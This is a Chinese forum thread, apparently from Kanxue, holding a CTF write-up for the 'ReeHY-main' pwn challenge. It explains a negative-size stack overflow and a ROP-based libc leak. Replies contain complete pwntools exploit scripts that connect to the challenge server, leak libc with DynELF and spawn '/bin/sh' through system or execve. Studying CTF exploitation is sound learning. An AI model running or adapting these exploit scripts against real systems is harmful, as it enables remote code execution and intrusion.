首页
社区
课程
招聘
第四题 ReeHY-main Writeup
发表于: 2017-6-9 10:32 5409

第四题 ReeHY-main Writeup

2017-6-9 10:32
5409

  这道题可利用的点还蛮多的。常规的方式是利用堆释放的时候没有删除堆指针导致UAF来完成攻击。我使用的是另一个不同的点,具体如下。(第一次做pwn,可能有些错误的地方,望指正)

  该程序对输入的编号都通过itoa函数进行转换,将字符串转为数字,具体实现在sub_4005cc函数中。

  同样,用于创建堆块的“Create Exploit”选项中也调用了该函数,主要是将输入的堆大小(Input size)和堆序号(Input cun)转换为数字。

  当输入一个size时,这个size将作为用于限定输入内容长度的值传递到如下图的位置。

  图中的nbytes就是输入的size。这里就存在一个问题,由于sub_4005cc函数并未对输入的size做限制,如果输入一个负值,那么传递一个负的size给read函数。而其实read函数的第三个参数接收到的是个int类型的值(忽略ida将它强转为unsigned int,其实它是个int值),如果输入的size是个负值,那么到达read时size将变为一个很大的值。这个函数为接收read内容的buf分配了0x80的大小,当size很大时将会导致栈溢出。而由于read的特性,当read函数接收到EOF时将终止接收,不管是不是达到size规定的大小,因此我们可以完全控制写入buf中数据的长度,使用栈溢出覆盖返回地址或覆盖其他变量的形式完成攻击。攻击份两步走,第一步是信息泄露,第二步是getshell。

  要想getshell就必须拿到system函数的地址,因此需要通过一些方法泄露出该函数的地址。可惜,这个程序“show exploit”功能被阉割了,只输出“no no no”,因此需要自己想办法调用puts函数输出GOT表中某个函数的地址,然后根据偏移计算system函数的地址。之前提到我们可以实现栈溢出,因此可以修改返回地址,使执行流程转到“show expliot”中的puts函数处,并传递我们需要泄露的函数对应的GOT表位置,进行信息泄露。

  由于程序开了nx保护,因此需要构造ROP链。从代码中我们发现,puts函数所接收的参数是存放在rdi寄存器中的。

  那么ROP链的流程应该是:将需要泄露的函的GOT表位置传递至rdi寄存器-->调用0x400c4d的puts函数-->返回主流程。首先需要找“pop rdi,ret”的地址,发现0x400da3位置处指令为“pop rdi,ret”,可利用。下一步找要泄露的函数的GOT表地址,我使用的是atoi函数,GOT表位置如下。

  然后就是构造ROP,ROP链如下:

0x400da3(“pop rdi,ret”的地址)

0x602058(atoi函数GOT表地址)

0x400c4d(调用puts函数地址)

0(puts函数后有pop指令,这里用0占位保证栈平衡)


[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 1
支持
分享
最新回复 (9)
雪    币: 60
活跃值: (324)
能力值: ( LV3,RANK:35 )
在线值:
发帖
回帖
粉丝
2
请问你是从哪里得知要填充哪些数据避免memcpy的呢?看了不是很明白
2017-6-9 14:34
0
雪    币: 327
活跃值: (173)
能力值: ( LV12,RANK:380 )
在线值:
发帖
回帖
粉丝
3
返無歸一 请问你是从哪里得知要填充哪些数据避免memcpy的呢?看了不是很明白
从局部变量的布局可以看出memcpy的参数dest和nbytes都在buf的下方,溢出时这两个参数都会被修改,如果让这两个参数修改成一些无效的值会崩溃掉,所以就得用一些不影响流程的值,比如用0填充nbytes的位置,这样memcpy复制了0个字节到dest,对程序运行没有任何影响
2017-6-9 14:51
0
雪    币: 93
活跃值: (369)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4

import pwn
import traceback
e = pwn.ELF('4-ReeHY-main')

write_len  = 0x200
write_got  = e.got["write"]
memcpy_got = e.got["memcpy"]
read_got   = e.got["read"]

gadget1 = 0x00400D9A
gadget2 = 0x00400D80
s = pwn.remote('211.159.216.90', 51888)

r = s.recvuntil('\n')
print (r)
s.send("lcys")
r = s.recvlines(10)
for row in r:
    print(row)

s.send("1")
r = s.recvuntil('\n')
print(r)

vulfun_addr = 0x004009D1
def com_gadget(part1, part2, jmp2, arg1 = 0x0, arg2 = 0x0, arg3 = 0x0):
    payload  = pwn.p64(part1)   # part1 entry pop_rbx_pop_rbp_pop_r12_pop_r13_pop_r14_pop_r15_ret    
    payload += pwn.p64(0x0)     # rbx be 0x0    
    payload += pwn.p64(0x1)     # rbp be 0x1    
    payload += pwn.p64(jmp2)    # r12 jump to    
    payload += pwn.p64(arg3)    # r13 -> rdx    arg3    
    payload += pwn.p64(arg2)    # r14 -> rsi    arg2    
    payload += pwn.p64(arg1)    # r15 -> edi    arg1    
    payload += pwn.p64(part2)   # part2 entry will call [rbx + r12 + 0x8]    
    payload += 'A' * 56         # junk    
    return payload

def leak(address):
    pay = "A" * (0x90 - 8)
    pay += pwn.p64(0x0)
    pay += "A" * 8    
    # call memcpy    
    pay += com_gadget(gadget1, gadget2, memcpy_got, 0x006020AC, 0x00400A9C, 0x1)
    # call write    
    pay += com_gadget(gadget1, gadget2, write_got, 0x1, address, write_len)

    pay += pwn.p64(vulfun_addr)

    paylen   = "-%d" % len(pay)
    pay_head = paylen
    pay_head += "\0" * (0xA - len(paylen))
    pay_head += "1"    
    pay_head += "\0" * 9    
    payload = pay_head + pay
    try:
        s.send(payload)
        print(len(payload))
        r = s.recvuntil("content\n")
        buf = s.recv(write_len)

        data = buf[:write_len]
        pwn.log.info("%#x => %s" % (address, (data or '').encode('hex')))
    except:
        traceback.print_exc()
        print ("%#x" % address)
        exit(0)
    return data

d = pwn.DynELF(leak, elf=e)

system_addr = d.lookup('system', 'libc.so')

print "system_addr=" + hex(system_addr)


bssaddr = 0x00602080
pop_rdi = 0x00400da3
sh_addr = system_addr
sh = "/bin/sh\0"
pay = "A" * (0x90 - 8)
pay += pwn.p64(0x0)
pay += "A" * 8
# call read
pay += com_gadget(gadget1, gadget2, read_got, 0x0, bssaddr, len(sh))

pay += pwn.p64(pop_rdi)
pay += pwn.p64(bssaddr)
pay += pwn.p64(system_addr)

paylen = "-%d" % len(pay)
pay_head = paylen
pay_head += "\0" * (0xA - len(paylen))
pay_head += "1"
pay_head += "\0" * 9
s.send(pay_head + pay)
s.send(sh)

s.interactive()
第一次搞pwn 帮忙看下,leak 执行后每次栈都会增加0x100 最后导致程序挂掉,这样一般怎么处理的呢?

2017-6-9 15:29
0
雪    币: 93
活跃值: (369)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
贴代码为啥乱了
2017-6-9 15:33
0
雪    币: 93
活跃值: (369)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6

帖子可以编辑,修正了下,大神帮看下

2017-6-9 15:34
0
雪    币: 60
活跃值: (324)
能力值: ( LV3,RANK:35 )
在线值:
发帖
回帖
粉丝
7
hyabcd 从局部变量的布局可以看出memcpy的参数dest和nbytes都在buf的下方,溢出时这两个参数都会被修改,如果让这两个参数修改成一些无效的值会崩溃掉,所以就得用一些不影响流程的值,比如用0填充nb ...
多谢,看到malloc  free就没想到用stack  based  buffer  overflow也行
2017-6-9 17:12
0
雪    币: 327
活跃值: (173)
能力值: ( LV12,RANK:380 )
在线值:
发帖
回帖
粉丝
8
lcys 帖子可以编辑,修正了下,大神帮看下
有个疑问,为啥你的rop链最后要加上56个A填充
2017-6-10 09:42
0
雪    币: 93
活跃值: (369)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
hyabcd 有个疑问,为啥你的rop链最后要加上56个A填充

56个A填充,主要是为了平衡这个地方


2017-6-12 10:27
0
雪    币: 93
活跃值: (369)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10

今天再调了下 搞清楚了,leak次数多了会把栈全部破坏掉,stack的底部由系统填写argv/envp信息,然后才开始向下调用main函数

system函数会fork->execve,  execve第三个参数是环境变量(envp),被leak的时候破坏掉了,这个值格式不对的化就会执行失败。


现在不使用system 直接调用execve把第3个参数传null就可以了

搞这个熟悉了下pwn的库 以前没有用过


# -*- coding: utf-8 -*-
import pwn
import traceback
e = pwn.ELF('./4-ReeHY-main')

write_len  = 0x500
write_got  = e.got["write"]
read_got   = e.got["read"]

gadget1 = 0x00400D9
gadget2 = 0x00400D80
g_size = str(0x80000000)

s = pwn.remote('211.159.216.90', 51888)

r = s.recvuntil('\n')
print (r)
s.send("lcys")
r = s.recvlines(10)
for row in r:
    print(row)

s.send("1")
r = s.recvuntil('\n')
print(r)

vulfun_addr = 0x004009D1
def com_gadget(part1, part2, jmp2, arg1 = 0x0, arg2 = 0x0, arg3 = 0x0):
    payload  = pwn.p64(part1)   # part1 entry pop_rbx_pop_rbp_pop_r12_pop_r13_pop_r14_pop_r15_ret    
    payload += pwn.p64(0x0)     # rbx be 0x0    
    payload += pwn.p64(0x1)     # rbp be 0x1    
    payload += pwn.p64(jmp2)    # r12 jump to    
    payload += pwn.p64(arg3)    # r13 -> rdx    arg3    
    payload += pwn.p64(arg2)    # r14 -> rsi    arg2    
    payload += pwn.p64(arg1)    # r15 -> edi    arg1    
    payload += pwn.p64(part2)   # part2 entry will call [rbx + r12 + 0x8]    
    payload += 'A' * 56         # junk    return payload

def leak(address):
    pay  = pwn.p64(0x0)
    pay += "A" * (0x90 - 24)
    pay += pwn.p64(0x006020AC)
    pay += pwn.p32(0x0)
    pay += pwn.p32(0x1)
    pay += "A" * 8    
    # call write    
    pay += com_gadget(gadget1, gadget2, write_got, 0x1, address, write_len)

    pay += pwn.p64(vulfun_addr)

    pay_head = g_size
    pay_head += "1"    
    pay_head += "\0" * 9    
    payload = pay_head + pay
    try:
        s.send(payload)
        print(len(payload))
        r = s.recvuntil("content\n")

        buf = s.recv(write_len)
        data = buf[:write_len]

        pwn.log.info("%#x => %s" % (address, (data or '').encode('hex')))
    except:
        traceback.print_exc()
        print ("%#x" % address)
        exit(0)
    return data

d = pwn.DynELF(leak, elf=e)

# system_addr = d.lookup("__libc_system", "libc")
execve_addr = d.lookup("execve", "libc")

print "execve_addr=" + hex(execve_addr)


bssaddr = 0x00602080
arg1 = bssaddr+0x30
sh = "/bin/sh\x00"
pay = "A" * (0x90 - 8)
pay += pwn.p64(0x0)
pay += "A" * 8
# call read
pay += com_gadget(gadget1, gadget2, read_got, 0x0, bssaddr, 0x8)
# call read
pay += com_gadget(gadget1, gadget2, read_got, 0x0, arg1, len(sh))
# call execve
pay += com_gadget(gadget1, gadget2, bssaddr, arg1, 0x0, 0x0)

pay += pwn.p64(vulfun_addr)

pay_head = g_size
pay_head += "1"
pay_head += "\0" * 9
s.send(pay_head + pay)
s.send(pwn.p64(execve_addr))
s.send(sh)


s.interactive()


2017-6-14 13:38
0
游客
登录 | 注册 方可回帖
返回
//